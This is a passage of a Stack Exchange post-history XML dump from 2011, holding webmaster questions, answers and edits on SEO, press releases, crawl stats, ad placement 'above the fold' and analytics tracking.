keywords)** - How will I know what goes into each page to make key words out of it?&#xD;&#xA;&#xD;&#xA;The main thing that escapes my brain is, how would each question (the title is different, so as far as the search engine is concerned, it's a new page) - how would I tell the engines that I have a new page?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="43610" PostHistoryTypeId="10" PostId="18017" RevisionGUID="7e582e26-e855-48d4-bb1d-4adc9c8bcfa3" CreationDate="2011-08-10T13:01:13.240" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43611" PostHistoryTypeId="2" PostId="18022" RevisionGUID="e1768bdf-a852-4dfb-a0f3-029ff20fdc7b" CreationDate="2011-08-10T13:03:50.890" UserId="5013" Text="It may be due to what is called Google Panda. A few months back Google changed their algorithm due to complaints that their search results weren't &quot;up-to-par.&quot; A ton of websites were negatively affected by this change, being pushed down in the SERPs. I believe in June or July sometime, they made the change effective worldwide. Perhaps your AdSense earnings drop is due to lower traffic, which is, in turn due to the changes in Google's algorithm.&#xD;&#xA;&#xD;&#xA;Has your traffic changed or remained the same?&#xD;&#xA;&#xD;&#xA;Check out your main keywords in Google Adwords Keyword tool, have their CPCs dropped? This can definitely happen -- it's happened to me! That could be a huge factor in why you're seeing lower returns in Google AdSense.&#xD;&#xA;&#xD;&#xA;Has your CTR gone down? Maybe less people are clicking your ads." />
  <row Id="43612" PostHistoryTypeId="2" PostId="18023" RevisionGUID="b1cd0730-930a-47a7-b7bc-50c2fc5bd320" CreationDate="2011-08-10T13:05:49.647" UserId="1253" Text="Press releases have little no impact on SEO. The reason why people recommend using them is every time a website published a press release, assuming your URL is n the press releases, you could get a backlink from their site. What people forget is:&#xD;&#xA;&#xD;&#xA;1. These links are very low value. The pages they are on have no backlinks to them also lack other SEO factors as well, especially if the site publishing the PR is off-topic. So links from them really have very little value. You would need hundreds if not thousands of republished press releases to make these links add up to something worthwhile.&#xD;&#xA;&#xD;&#xA;2. These pages are all duplicate content. Google aggressively rooting out this kind of content so links from these pages may never be found if they are ignored by Google. It's also likely that links from duplicated content like this are also devalued.&#xD;&#xA;&#xD;&#xA;So do press releases because you want the press to be aware of something new and/or special on your website, not because you're trying to improve your website's SEO.&#xD;&#xA;&#xD;&#xA;[PRWeb][1] is a good place to submit press releases. I've had clients do well with them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.prweb.com" />
  <row Id="43613" PostHistoryTypeId="5" PostId="18001" RevisionGUID="1c9725cc-f37e-4b59-866e-6dc79185816f" CreationDate="2011-08-10T13:16:06.873" UserId="1253" Comment="modified tags, minor text edits" Text="Is liquid layout (everything in % and font-size in 'em') good or creating multiple css file for different resolutions or browsers with help of Javascript good?&#xD;&#xA;&#xD;&#xA;I am a aspiring web designer, and want create a universal accessible web pages? &#xD;&#xA;" />
  <row Id="43614" PostHistoryTypeId="6" PostId="18001" RevisionGUID="1c9725cc-f37e-4b59-866e-6dc79185816f" CreationDate="2011-08-10T13:16:06.873" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;html&gt;&lt;css&gt;&lt;web-design&gt;" />
  <row Id="43615" PostHistoryTypeId="5" PostId="18023" RevisionGUID="f0283218-dfa9-4681-aaf8-d3d61a676a60" CreationDate="2011-08-10T13:18:10.693" UserId="1643" Comment="typo" Text="Press releases have little no impact on SEO. The reason why people recommend using them is every time a website published a press release, assuming your URL is in the press releases, you could get a backlink from their site. What people forget is:&#xD;&#xA;&#xD;&#xA;1. These links are very low value. The pages they are on have no backlinks to them also lack other SEO factors as well, especially if the site publishing the PR is off-topic. So links from them really have very little value. You would need hundreds if not thousands of republished press releases to make these links add up to something worthwhile.&#xD;&#xA;&#xD;&#xA;2. These pages are all duplicate content. Google aggressively rooting out this kind of content so links from these pages may never be found if they are ignored by Google. It's also likely that links from duplicated content like this are also devalued.&#xD;&#xA;&#xD;&#xA;So do press releases because you want the press to be aware of something new and/or special on your website, not because you're trying to improve your website's SEO.&#xD;&#xA;&#xD;&#xA;[PRWeb][1] is a good place to submit press releases. I've had clients do well with them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.prweb.com" />
  <row Id="43616" PostHistoryTypeId="17" PostId="18024" RevisionGUID="99aa62e4-78ba-41f8-92c5-22450a0af223" CreationDate="2011-08-10T13:24:57.067" UserId="-1" Comment="from http://stackoverflow.com/questions/7011293/understanding-google-crawl-stats" Text="" />
  <row Id="43617" PostHistoryTypeId="2" PostId="18024" RevisionGUID="4870d30b-f2cd-4f13-a5b7-ad860184c3cc" CreationDate="2011-08-10T13:09:15.807" UserId="9666" UserDisplayName="ubique" Text="I launched my website in Jan '11 and it is indexed in Google which is great - around 300 pages of content so far. I'm trying to understand what happened the Crawl Stats around the end of June and start of July. What has caused the massive climb? What does it mean going forward? Is there anything else I should be doing? &#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/SP3XG.png" />
  <row Id="43618" PostHistoryTypeId="1" PostId="18024" RevisionGUID="4870d30b-f2cd-4f13-a5b7-ad860184c3cc" CreationDate="2011-08-10T13:09:15.807" UserId="9666" UserDisplayName="ubique" Text="Understanding Google Crawl Stats" />
  <row Id="43619" PostHistoryTypeId="3" PostId="18024" RevisionGUID="4870d30b-f2cd-4f13-a5b7-ad860184c3cc" CreationDate="2011-08-10T13:09:15.807" UserId="9666" UserDisplayName="ubique" Text="&lt;google&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="43620" PostHistoryTypeId="2" PostId="18025" RevisionGUID="bd445c4b-ac0b-4415-b3e4-098ecc23fc52" CreationDate="2011-08-10T13:29:54.653" UserId="9507" Text="Looking for a knowledge base solution for magento.  Anybody know of any availab" />
  <row Id="43621" PostHistoryTypeId="1" PostId="18025" RevisionGUID="bd445c4b-ac0b-4415-b3e4-098ecc23fc52" CreationDate="2011-08-10T13:29:54.653" UserId="9507" Text="Knowledge Base solution for Magento?" />
  <row Id="43622" PostHistoryTypeId="3" PostId="18025" RevisionGUID="bd445c4b-ac0b-4415-b3e4-098ecc23fc52" CreationDate="2011-08-10T13:29:54.653" UserId="9507" Text="&lt;magento&gt;" />
  <row Id="43623" PostHistoryTypeId="5" PostId="18021" RevisionGUID="1fd8b9a9-d0ff-4cb5-8f0c-2bc3429355bb" CreationDate="2011-08-10T13:33:13.603" UserId="5013" Comment="added 20 characters in body" Text="I've heard a lot about using Press Releases for SEO? Is doing this worthwhile? What exactly do you do? Where do you go? Sorry, the idea of using press releases for SEO is new to me." />
  <row Id="43624" PostHistoryTypeId="2" PostId="18026" RevisionGUID="390193dd-00b9-4df6-b10a-ab3063c1eba5" CreationDate="2011-08-10T13:40:15.807" UserId="7055" Text="So I am running an ecommerce site and currently have google analytics filtering out our IP.  While this gives almost absolute metrics about visitors it does not include orders processed internally because customers choose to call rather than checkout online.  Also our store is running on the magento platform.  &#xD;&#xA;&#xD;&#xA;What do you recommend to help track these orders and conversion's via google analytics?" />
  <row Id="43625" PostHistoryTypeId="1" PostId="18026" RevisionGUID="390193dd-00b9-4df6-b10a-ab3063c1eba5" CreationDate="2011-08-10T13:40:15.807" UserId="7055" Text="Google Analytics - Phone Orders Internally" />
  <row Id="43626" PostHistoryTypeId="3" PostId="18026" RevisionGUID="390193dd-00b9-4df6-b10a-ab3063c1eba5" CreationDate="2011-08-10T13:40:15.807" UserId="7055" Text="&lt;ecommerce&gt;&lt;analytics&gt;&lt;tracking&gt;" />
  <row Id="43627" PostHistoryTypeId="5" PostId="18026" RevisionGUID="cc2dfd28-a38b-446d-b6f6-170f801c8576" CreationDate="2011-08-10T13:43:44.350" UserId="1643" Comment="Typos, tags" Text="I am running an ecommerce site and currently have google analytics filtering out our IP.  While this gives almost absolute metrics about visitors it does not include orders processed internally because customers choose to call rather than checkout online.  Also our store is running on the magento platform.  &#xD;&#xA;&#xD;&#xA;What do you recommend to help track these orders and conversions via google analytics?" />
  <row Id="43628" PostHistoryTypeId="6" PostId="18026" RevisionGUID="cc2dfd28-a38b-446d-b6f6-170f801c8576" CreationDate="2011-08-10T13:43:44.350" UserId="1643" Comment="Typos, tags" Text="&lt;google-analytics&gt;&lt;ecommerce&gt;&lt;analytics&gt;&lt;magento&gt;&lt;tracking&gt;" />
  <row Id="43629" PostHistoryTypeId="2" PostId="18027" RevisionGUID="ede27a15-feb3-45b5-8896-5ce2891e59f7" CreationDate="2011-08-10T14:17:52.443" UserId="233" Text="The logical way to structure keywords is to use individual words (i.e. your second option).&#xD;&#xA;&#xD;&#xA;However, meta keywords have zero effect on SEO in Google or Bing so your best strategy is to ignore them. Don't use the tag at all or waste any more time thinking about meta keywords." />
  <row Id="43630" PostHistoryTypeId="2" PostId="18028" RevisionGUID="470fcf5c-82cf-45e6-a220-a4f03838de38" CreationDate="2011-08-10T14:30:03.777" UserId="1643" Text="You could use a proxy site so that it appears as if you're coming from a different IP. You could either set your own up, if you have access to a different external IP from your ISP, or use one of the many proxies available on the internet. " />
  <row Id="43631" PostHistoryTypeId="2" PostId="18029" RevisionGUID="d3931408-3329-41fe-9700-b09846fd4757" CreationDate="2011-08-10T14:30:53.290" UserId="6355" Text="I know how to track **clicks** in links to pdfs and pfd's **downloads**. &#xD;&#xA;&#xD;&#xA;But I need to track how many times a PDF is **opened after being downloaded** and if possible track how many times certain pages are shown to users. Can anyone help by pointing to a tutorial or an example?&#xD;&#xA;&#xD;&#xA;If you are sure that this can't be done, can you please point to documentation that explains why?&#xD;&#xA;" />
  <row Id="43632" PostHistoryTypeId="1" PostId="18029" RevisionGUID="d3931408-3329-41fe-9700-b09846fd4757" CreationDate="2011-08-10T14:30:53.290" UserId="6355" Text="How to track opens and pageviews in PDFs?" />
  <row Id="43633" PostHistoryTypeId="3" PostId="18029" RevisionGUID="d3931408-3329-41fe-9700-b09846fd4757" CreationDate="2011-08-10T14:30:53.290" UserId="6355" Text="&lt;analytics&gt;&lt;pdf&gt;" />
  <row Id="43634" PostHistoryTypeId="2" PostId="18030" RevisionGUID="21822a25-d879-4b91-9dd8-b77ee995c7d5" CreationDate="2011-08-10T14:33:25.903" UserId="233" Text="Another option not yet mentioned is to increase Googlebot's crawl speed through Google Webmaster Tools. This will get your pages indexed more quickly - though of course it won't make the pages rank better." />
  <row Id="43635" PostHistoryTypeId="25" PostId="18021" RevisionGUID="323310b0-7309-49d3-94d1-f84e518acbb2" CreationDate="2011-08-10T14:34:14.970" Comment="http://twitter.com/#!/StackWebmasters/status/101300328498085888" />
  <row Id="43636" PostHistoryTypeId="5" PostId="17990" RevisionGUID="68cc74a2-fb01-4669-a4fd-fb4439f379f3" CreationDate="2011-08-10T14:36:07.760" UserId="1643" Comment="Typos, Capitals." Text="I'm trying to add a facebook connect button to pages other than jomsocial's frontpage and it seems that I should be using the module mod_jomsocialconnect, but it isn't in my ~/modules folder.&#xD;&#xA;&#xD;&#xA;Does anyone know:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;If in newer versions of joomla and jomsocial if the module should be there but isn't or if it's been moved/renamed/fused with other code&lt;/li&gt;&#xD;&#xA;&lt;li&gt;How I might go about getting a working &quot;login through facebook&quot; button in my login module (through pre/post text etc.) or basically anywhere else preferably without buying something like JFBConnect&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;I have spent quite a while on google and documentation on jomsocial, joomla, and facebook." />
  <row Id="43637" PostHistoryTypeId="5" PostId="18025" RevisionGUID="0bf8aa6c-0359-4838-a5db-ac76dd18af38" CreationDate="2011-08-10T14:37:17.117" UserId="1643" Comment="grammar" Text="I'm looking for a knowledge base solution for magento.  Does anybody know of any available?" />
  <row Id="43642" PostHistoryTypeId="2" PostId="18031" RevisionGUID="15c3f38d-cdfe-4411-978d-a22a6235e97f" CreationDate="2011-08-10T15:44:13.397" UserId="1161" Text="We often get requests to put an ad over or below &quot;the fold&quot; - the visible portion of the screen on page load, a term derived from newspapers which are delivered folded in half. &#xD;&#xA;&#xD;&#xA;I use Chrome on a Mac with a super light address bar (no favorites, etc) on an external monitor with a 1680x1050 resolution. My fold is a bit lower than someone on IE7 with 18 search bars on a 13&quot; Dell Inspiron 8800. &#xD;&#xA;&#xD;&#xA;Is there an industry standard for how many pixels high the fold is? I briefly checked the [IAB][1] but was unable to find specifics.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iab.net/" />
  <row Id="43643" PostHistoryTypeId="1" PostId="18031" RevisionGUID="15c3f38d-cdfe-4411-978d-a22a6235e97f" CreationDate="2011-08-10T15:44:13.397" UserId="1161" Text="Is there an industry standard for &quot;the fold&quot;?" />
  <row Id="43644" PostHistoryTypeId="3" PostId="18031" RevisionGUID="15c3f38d-cdfe-4411-978d-a22a6235e97f" CreationDate="2011-08-10T15:44:13.397" UserId="1161" Text="&lt;advertising&gt;&lt;standards&gt;" />
  <row Id="43645" PostHistoryTypeId="2" PostId="18032" RevisionGUID="16045046-a8f1-42c0-bfc3-f4c0aba6221c" CreationDate="2011-08-10T16:00:08.603" UserId="8957" Text="I wouldn't think that there is a standard. I do think that most people these days have monitors that are 720+ pixels high (720p, the lowest widescreen resolution currently in use). What i would do is subtract the base browser controls of the worst browser (in terms of viewing area), without any search bars or other addons, and make that &quot;the fold&quot;.&#xD;&#xA;Unfortunately I can't be more helpful than that." />
  <row Id="43646" PostHistoryTypeId="2" PostId="18033" RevisionGUID="b5dbe2f8-09e2-438b-8fab-1d34d2f930f3" CreationDate="2011-08-10T16:23:33.800" UserId="4502" Text="&lt;a href=&quot;http://thereisnofold.com/&quot;&gt;There is no fold&lt;/a&gt;, as in there being any such thing as The Fold, especially when you start factoring in weird custom toolbar configurations.&#xD;&#xA;&#xD;&#xA;Not that it's made any significant progress toward making people stop asking for this. The true answer for *your site* is going to require looking at your analytics and seeing what the most common window size is. Note I did not say screen resolution. Research has repeatedly shown that people with large monitors don't browse full-screen. In absence of actual numbers, this can generally be estimated with some confidence. 1024x768 and 1280x800 are still the most common screen sizes. You can use things like &lt;a href=&quot;http://whereisthefold.com/&quot;&gt;Where is the Fold&lt;/a&gt; to get a look where(-ish) the cutoff might be for various viewport sizes. &#xD;&#xA;&#xD;&#xA;If you look around a bit you'll notice that most sites that are reliant on advertising put their ad slots in more or less the same places: a 300x250 after three or four posts in the main column, probably another one near top of the sidebar, maybe a 160x90 not too much further down, etc. The pattern is common because it tends to satisfy this request." />
  <row Id="43647" PostHistoryTypeId="2" PostId="18034" RevisionGUID="8073d3f4-12f6-4e4f-9e7f-40a4d455ba92" CreationDate="2011-08-10T16:24:19.573" UserId="7198" Text="                            **The fold does not exist.**  &#xD;&#xA;&#xD;&#xA;                            **The fold does not exist.**  &#xD;&#xA;&#xD;&#xA;                            **The fold does not exist.**  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;                            **The fold does not exist.**  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;                            **The fold does not exist.**  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;                            **The fold does not exist.**  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;                            **The fold does not exist.**  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;                            **The fold does not exist.**                         &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There is no universal 'fold line'. Browser and device sizes are too diverse to point to a single point on the screen and say, 'yep, that's where it'll cut off.' The best you can do is say, 'based on the information we've collected about visitors to this particular website, the vertical cut off point will be here for around x% of them.'&#xD;&#xA;&#xD;&#xA;Web designers have been gently suggesting for at least five years that the fold never existed in the first place:&#xD;&#xA;&#xD;&#xA; - [Evolving design standards: the fold](http://www.viget.com/inspire/evolving-design-standards-the-fold/)&#xD;&#xA; - [The &quot;above the fold&quot; design myth](http://joannapenabickley.typepad.com/on/2009/12/on-user-centered-design-myths.html)&#xD;&#xA; - [Blasting the myth of the fold](http://www.boxesandarrows.com/view/blasting-the-myth-of)&#xD;&#xA; - [The myth of the page fold: evidence from user testing](http://www.cxpartners.co.uk/thoughts/the_myth_of_the_page_fold_evidence_from_user_testing.htm)&#xD;&#xA; - [Unfolding the fold](http://blog.clicktale.com/2006/12/23/unfolding-the-fold/)&#xD;&#xA; - [Find my fold](http://www.findmyfold.com/)&#xD;&#xA;&#xD;&#xA;If your clients are asking for adverts to be placed above or below &quot;the fold&quot;, you have a couple of options:&#xD;&#xA;&#xD;&#xA;1. Come clean. Tell them that, because of the vast range of devices people are using to access the Web these days, it's impossible to say where the fold will be, but that you can happily put their ad 'higher' or 'lower' on the page and charge them accordingly for the more prominent position.&#xD;&#xA;2. Collect visitor data for the website they'll be advertising on and set an 'approximate fold' based on the average visitor's screen resolution. If you're using Google Analytics, look under Visitors &gt; Browser Capabilites &gt; Screen Resolutions to get an idea of where this might be for each site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43648" PostHistoryTypeId="2" PostId="18035" RevisionGUID="6d7b76b7-068e-4ec9-983b-af174d592c8d" CreationDate="2011-08-10T16:24:32.993" UserId="1243" Text="I think the most accurate figure is going to come from your webstats. Your target audience might be different to others. And consequently your users might be a different average?&#xD;&#xA;&#xD;&#xA;A bit of an aside... but I think the importance of the fold has lessened to some extent with the introduction of the mouse wheel." />
  <row Id="43649" PostHistoryTypeId="5" PostId="18034" RevisionGUID="ccb43b5a-fb7d-452d-a29c-b92045691ec4" CreationDate="2011-08-10T16:29:34.510" UserId="7198" Comment="added 438 characters in body" Text="                            **The fold does not exist.**  &#xD;&#xA;&#xD;&#xA;                            **The fold does not exist.**  &#xD;&#xA;&#xD;&#xA;                            **The fold does not exist.**  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;                            **The fold does not exist.**  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;                            **The fold does not exist.**  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;                            **The fold does not exist.**  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;                            **The fold does not exist.**  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;                            **The fold does not exist.**                         &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There is no universal 'fold line'. Browser and device sizes are too diverse to point to a single point on the screen and say, 'yep, that's where it'll cut off.' The best you can do is say, 'based on the information we've collected about visitors to this particular website, the vertical cut off point will be here for around x% of them.'&#xD;&#xA;&#xD;&#xA;Web designers have been gently suggesting for at least five years that the fold never existed in the first place:&#xD;&#xA;&#xD;&#xA; - [Evolving design standards: the fold](http://www.viget.com/inspire/evolving-design-standards-the-fold/)&#xD;&#xA; - [The &quot;above the fold&quot; design myth](http://joannapenabickley.typepad.com/on/2009/12/on-user-centered-design-myths.html)&#xD;&#xA; - [Blasting the myth of the fold](http://www.boxesandarrows.com/view/blasting-the-myth-of)&#xD;&#xA; - [The myth of the page fold: evidence from user testing](http://www.cxpartners.co.uk/thoughts/the_myth_of_the_page_fold_evidence_from_user_testing.htm)&#xD;&#xA; - [Unfolding the fold](http://blog.clicktale.com/2006/12/23/unfolding-the-fold/)&#xD;&#xA; - [Find my fold](http://www.findmyfold.com/)&#xD;&#xA;&#xD;&#xA;If your clients are asking for adverts to be placed above or below &quot;the fold&quot;, you have a couple of options:&#xD;&#xA;&#xD;&#xA;1. Come clean. Tell them that, because of the vast range of devices people are using to access the Web these days, it's impossible to say where the fold will be, but that you can happily put their ad 'higher' or 'lower' on the page and charge them accordingly for the more prominent position.&#xD;&#xA;2. Collect visitor data for the website they'll be advertising on and set an 'approximate fold' based on the average visitor's screen resolution. If you're using Google Analytics, look under Visitors &gt; Browser Capabilites &gt; Screen Resolutions to get an idea of where this might be for each site.&#xD;&#xA;&#xD;&#xA;What you can say with *some* certainty is that, the lower you put an ad down the page, the less likely it is to be visible without scrolling. So, while it's impossible to say where the fold is, it's much easier to say where it isn't. Or at least where it's less likely to be. And so it does make sense to charge for ads higher up the page. Just don't sell them on the basis of being above an imaginary line. It's impossible to make a promise like that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43650" PostHistoryTypeId="25" PostId="18031" RevisionGUID="814c19ed-8d12-4f3f-8fdb-8c882371b193" CreationDate="2011-08-10T16:34:16.217" Comment="http://twitter.com/#!/StackWebmasters/status/101330531635048448" />
  <row Id="43651" PostHistoryTypeId="2" PostId="18036" RevisionGUID="c8b84fdb-c936-4465-b28a-b0037a757e6d" CreationDate="2011-08-10T16:52:18.200" UserId="221" Text="If you feel that they are over-crawling your site (perhaps even missing deeper content) you should ensure that your HTTP headers are returning good values for things like 'lastmodified' time etc. It may be that Googlebot overestimates how much your site is changing. As a bonus your site will behave better with regards to caching (be it proxy or browser based) and thus feel a little faster.&#xD;&#xA;&#xD;&#xA;You'd do well to study what URLs are being crawled. If they are recrawling the same URL again and again, you defiantly have a problem. A common variant on this is if you have a page that can be displayed in many different ways using request variables. Googlbot may try to crawl *every possible combination* of those variables.&#xD;&#xA;&#xD;&#xA;An example I've encountered as a crawl operator was a page that had a list of twenty headings, any combination of which could be expanded. Basically, that page had 2^20 different URLs! &#xD;&#xA;&#xD;&#xA;Make sure that Googlebot isn't stuck crawling basically the same page over and over again with trivially different parameters (I've seen it get caught up in this)" />
  <row Id="43652" PostHistoryTypeId="5" PostId="18029" RevisionGUID="6af90d87-9ac8-4906-b0e7-51c93d8d7619" CreationDate="2011-08-10T17:21:45.610" UserId="6355" Comment="Added clarification that I do not want readers personal information." Text="I know how to track **clicks** in links to pdfs and pfd's **downloads**. &#xD;&#xA;&#xD;&#xA;But I need to track how many times a PDF is **opened after being downloaded** and if possible track how many times certain pages are shown to users. Tracking has to be done **without warnings** that personal information is being sent somewhere. I do not want  readers personal informations, just to know how many opens happened, so this warnings would be inaccurate.&#xD;&#xA;&#xD;&#xA;Can anyone help by pointing to a tutorial or an example?&#xD;&#xA;&#xD;&#xA;If you are sure that this can't be done, can you please point to documentation that explains why?&#xD;&#xA;" />
  <row Id="43653" PostHistoryTypeId="2" PostId="18037" RevisionGUID="ddb78345-1f86-4475-b0c6-20e9be142e5e" CreationDate="2011-08-10T17:30:59.053" UserId="9511" Text="I have a .com.es domain the problem is that the .com name I wanted was taken so I took the .com.es instead, now I have difficulties of getting a pagerank, maybe I am not still there but it bothers me if the fact that the same domain but .com might inflict on my page getting pageranked? Could it be so?&#xD;&#xA;In google webmastertools I tried to change that google should handle my www.mydomain.com.es links as mydomain.com.es I have links pointing to both and I understand that is not optimal, I can only do that in root domain was the answer and as I dont have the root domain.....&#xD;&#xA;What would you suggest me to do?&#xD;&#xA;&#xD;&#xA;best regards and thanks for a great page with a lot of interesting questions and answers.&#xD;&#xA;&#xD;&#xA;/Gus" />
  <row Id="43654" PostHistoryTypeId="1" PostId="18037" RevisionGUID="ddb78345-1f86-4475-b0c6-20e9be142e5e" CreationDate="2011-08-10T17:30:59.053" UserId="9511" Text="com.es domain and SEO" />
  <row Id="43655" PostHistoryTypeId="3" PostId="18037" RevisionGUID="ddb78345-1f86-4475-b0c6-20e9be142e5e" CreationDate="2011-08-10T17:30:59.053" UserId="9511" Text="&lt;seo&gt;&lt;domains&gt;&lt;pagerank&gt;&lt;tld&gt;" />
  <row Id="43656" PostHistoryTypeId="5" PostId="18037" RevisionGUID="d3c8e403-407d-48ab-bf62-5c88b0577727" CreationDate="2011-08-10T17:38:00.020" UserId="1253" Comment="minor text edits" Text="I have a .com.es domain the problem is that the .com name I wanted was taken so I took the .com.es instead, now I have difficulties of getting a pagerank, maybe I am not still there but it bothers me if the fact that the same domain but .com might inflict on my page getting pageranked? Could it be so?&#xD;&#xA;&#xD;&#xA;In google webmastertools I tried to change that google should handle my www.mydomain.com.es links as mydomain.com.es I have links pointing to both and I understand that is not optimal, I can only do that in root domain was the answer and as I dont have the root domain.....&#xD;&#xA;&#xD;&#xA;What would you suggest me to do?&#xD;&#xA;" />
  <row Id="43657" PostHistoryTypeId="5" PostId="18037" RevisionGUID="59f95271-fec6-4c97-af6c-7d71f862fc07" CreationDate="2011-08-10T17:38:38.227" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Does Google penalize .me or .tv sites?](http://webmasters.stackexchange.com/questions/2330/does-google-penalize-me-or-tv-sites)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have a .com.es domain the problem is that the .com name I wanted was taken so I took the .com.es instead, now I have difficulties of getting a pagerank, maybe I am not still there but it bothers me if the fact that the same domain but .com might inflict on my page getting pageranked? Could it be so?&#xD;&#xA;&#xD;&#xA;In google webmastertools I tried to change that google should handle my www.mydomain.com.es links as mydomain.com.es I have links pointing to both and I understand that is not optimal, I can only do that in root domain was the answer and as I dont have the root domain.....&#xD;&#xA;&#xD;&#xA;What would you suggest me to do?&#xD;&#xA;" />
  <row Id="43658" PostHistoryTypeId="10" PostId="18037" RevisionGUID="a8967207-111a-49b9-b4b8-4d1ecd91e7ec" CreationDate="2011-08-10T17:38:37.883" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43659" PostHistoryTypeId="2" PostId="18038" RevisionGUID="f8f75193-4f23-47d9-908e-70f0fc334c1c" CreationDate="2011-08-10T17:44:47.747" UserId="6645" Text="So I like to post a lot on forums. And often times, I'll link images. I usually use imgur as the image provider. But this thought just came into my head. Would it be a good idea to have the image on a page of site, thereby increasing my site ranking (right now, I'm the only person who's ever been on my site hah). So basically, instead of linking http://i.imgur.com/veCBW.p ng, I would link mysite.com/pagethatincludestheimage . And inside it would just contain img src of the image. &#xD;&#xA;&#xD;&#xA;It would basically appear exactly the same.&#xD;&#xA;&#xD;&#xA;Is this a decent idea? Is there any other way it may help my site? Btw, I also use amazon s3, so hotlinking will not be an issue." />
  <row Id="43660" PostHistoryTypeId="1" PostId="18038" RevisionGUID="f8f75193-4f23-47d9-908e-70f0fc334c1c" CreationDate="2011-08-10T17:44:47.747" UserId="6645" Text="Will doing this improve somewhat improve my site ranking (SEO)?" />
  <row Id="43661" PostHistoryTypeId="3" PostId="18038" RevisionGUID="f8f75193-4f23-47d9-908e-70f0fc334c1c" CreationDate="2011-08-10T17:44:47.747" UserId="6645" Text="&lt;seo&gt;&lt;image&gt;" />
  <row Id="43662" PostHistoryTypeId="2" PostId="18039" RevisionGUID="914f97ac-5be1-47a6-a772-ad78dce2c77c" CreationDate="2011-08-10T17:47:59.080" UserId="1253" Text="It's not going to do a while lot for you. Linking to an image only gives that image a potential boost in image search. It's not going to affect any of the pages on your site since it isn't linking to any of them (remember, search engines rank pages, not sites). " />
  <row Id="43663" PostHistoryTypeId="25" PostId="16817" RevisionGUID="cedb8fc7-e48d-4ee4-b631-a16a296f364e" CreationDate="2011-08-10T18:34:16.833" Comment="http://twitter.com/#!/StackWebmasters/status/101360734230953984" />
  <row Id="43664" PostHistoryTypeId="2" PostId="18040" RevisionGUID="09fa481b-6a6e-4a50-8988-49938b0fabaf" CreationDate="2011-08-10T18:53:12.920" UserId="9513" Text="You are probably best off putting the image on a page, then linking to the page. On that page, have links to the other areas of the site that you'd like to promote.&#xD;&#xA;&#xD;&#xA;Note that most forums noref links, but your own page (the one with the image) of course will have non-noref links to the rest of your site." />
  <row Id="43665" PostHistoryTypeId="2" PostId="18041" RevisionGUID="13b14ce7-d4d4-4696-80a5-39e68152d476" CreationDate="2011-08-10T19:09:25.940" UserId="5902" Text="Many users of my website asked for keyboard shortcuts to access commonly viewed pages. I know that links may have `accesskey` but to access them is [inconsistent across browsers][1]. I'm going to use JavaScript to detect shortcut and I would like your input on what the modifier key(s) should be. I'm leaning toward `Ctrl+Shift`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Access_key" />
  <row Id="43666" PostHistoryTypeId="1" PostId="18041" RevisionGUID="13b14ce7-d4d4-4696-80a5-39e68152d476" CreationDate="2011-08-10T19:09:25.940" UserId="5902" Text="Best Modifier Key Combination for Web Shortcuts" />
  <row Id="43667" PostHistoryTypeId="3" PostId="18041" RevisionGUID="13b14ce7-d4d4-4696-80a5-39e68152d476" CreationDate="2011-08-10T19:09:25.940" UserId="5902" Text="&lt;cross-browser&gt;&lt;user-friendly&gt;" />
  <row Id="43668" PostHistoryTypeId="2" PostId="18042" RevisionGUID="1441cc38-c10b-4988-a246-73cb9376553c" CreationDate="2011-08-10T19:12:52.223" UserId="1429" Text="I agree with all the answer given now for sites/blogs with many pages.&#xD;&#xA;&#xD;&#xA;But IMHO **for small commercial website (5/7 pages) I would make the +1 on every page to always plus just the website home page**, for mainly 2 reasons:&#xD;&#xA;&#xD;&#xA; - it's the home page url that is more probable to be displaied in&#xD;&#xA;   Google result (for a little site)&#xD;&#xA;&#xD;&#xA; - it's already hard to have many +1&#xD;&#xA;   on one page, it would be even harder if you distribute the plusses on&#xD;&#xA;   all pages&#xD;&#xA;&#xD;&#xA;" />
